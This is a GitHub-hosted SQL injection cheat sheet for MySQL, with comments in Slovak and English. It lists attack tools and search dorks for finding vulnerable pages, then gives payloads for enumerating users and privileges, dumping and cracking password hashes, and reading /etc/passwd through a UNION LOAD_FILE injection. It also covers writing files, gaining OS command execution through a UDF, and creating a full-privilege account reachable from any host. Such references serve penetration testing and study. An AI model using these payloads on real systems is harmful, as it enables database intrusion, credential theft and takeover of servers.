-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathMySQL-SQL-Injection-CheatSheet.sql
More file actions
131 lines (97 loc) · 5.14 KB
/
MySQL-SQL-Injection-CheatSheet.sql
File metadata and controls
131 lines (97 loc) · 5.14 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
-- GUI nástroje:
Havij
TyrantSQL -- Treba Python 2.*.* + knižnice
SQL Power Injector
Vega
-- CMD nástroje:
SQLmap
Hashcat
-- Vyhľadávacie dopyty Google/Bing:
PHP + MySQL
php?id=
asp?id=
-- SQLzoo hack
?answer=1
-- Verzia DB (Version DB)
SELECT @@version
-- Komentáre (Comments)
SELECT 1; #comment
SELECT /*comment*/1;
-- Aktuálny používateľ (Current User)
SELECT user();
SELECT system_user();
-- Zoznam používateľov (List Users)
SELECT user FROM mysql.user; -- priv
-- Zoznam hashov hesiel (List Password Hashes)
SELECT host, user, password FROM mysql.user; -- priv
-- Password Cracker
-- HashCat, John the Ripper will crack MySQL password hashes
-- Zoznam oprávnení/privilégií (List Privileges)
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; -- list user privs
SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; -- priv, list user privs
SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges;
-- Zoznam oprávnení/privilégií na databáze (List privs on databases (schemas))
SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
-- Zoznam DBA admin účtov List (DBA Accounts)
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
-- Názov aktuálne používanej/pripojenej databázy (Current Database)
SELECT database()
-- Zoznam databáz (List Databases)
SHOW databases;
SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db -- priv
List Columns SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
-- Zoznam tabuliek (List Tables)
SHOW tables;
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
-- Nájdenie tabulky podľa názvu stĺpca (Find Tables From Column Name)
SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; -- find table which have a column called 'username'
-- Výber ntého riadku (Select Nth Row)
SELECT host, user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host, user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
-- Výber ntého znaku (Select Nth Char)
SELECT substr('abcd', 3, 1); # returns c
-- Bitový AND (Bitwise AND)
SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0
-- ASCII hodnota (ASCII Value -> Char)
SELECT char(65); # returns A
Char -> ASCII Value SELECT ascii('A'); # returns 65
-- Pretypovanie (Casting)
SELECT cast('1' AS unsigned integer);
SELECT cast('123' AS char);
-- Spajanie retazcov, zretazenie (String Concatenation)
SELECT CONCAT('A','B'); #returns AB
SELECT CONCAT('A','B','C'); # returns ABC
-- Riadiaca štruktúra/príkaz IF (IF Statement)
SELECT if(1=1,'foo','bar'); -- returns 'foo’
-- Riadiaca štruktúra/príkaz CASE (CASE Statement)
SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A
-- Vyhnutie sa úvodzovkám (Avoiding Quotes)
SELECT 0×414243; # returns ABC
-- Oneskorenie (Time Delay)
SELECT BENCHMARK(1000000,MD5('A'));
SELECT SLEEP(5); # >= 5.0.12
-- Výkonavanie príkazov (Command Execution)
/* If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.
*/
-- Prístup k lokálne súboru (Local File Access)
…’ UNION ALL SELECT LOAD_FILE('/etc/passwd') -- priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; -- priv, write to file system
-- Hostname, IP adresa, číslo portu (najčastejšie 3306-3309)(Hostname, IP Address, port)
SELECT @@hostname;
SHOW VARIABLES WHERE Variable_name = 'port'
SELECT SUBSTRING_INDEX(USER(), '@', -1) AS ip, @@hostname as hostname, @@port as port, DATABASE() as current_database;
mysql> \s
mysql> status
-- Vytvorenie používateľa (Create Users)
CREATE USER test1 IDENTIFIED BY 'pass1'; -- priv
-- Vymazanie používateľa (Delete Users)
DROP USER test1; -- priv
-- Sprav z používateľa admina (Make User DBA)
GRANT ALL PRIVILEGES ON *.* TO test1@'%'; -- priv
-- Umiestnenie databázových súborov (Location of DB files)
SELECT @@datadir;
-- Defaultná systémová databáza/schéma (Default/System Database)
information_schema -- (>= mysql 5.0)
mysql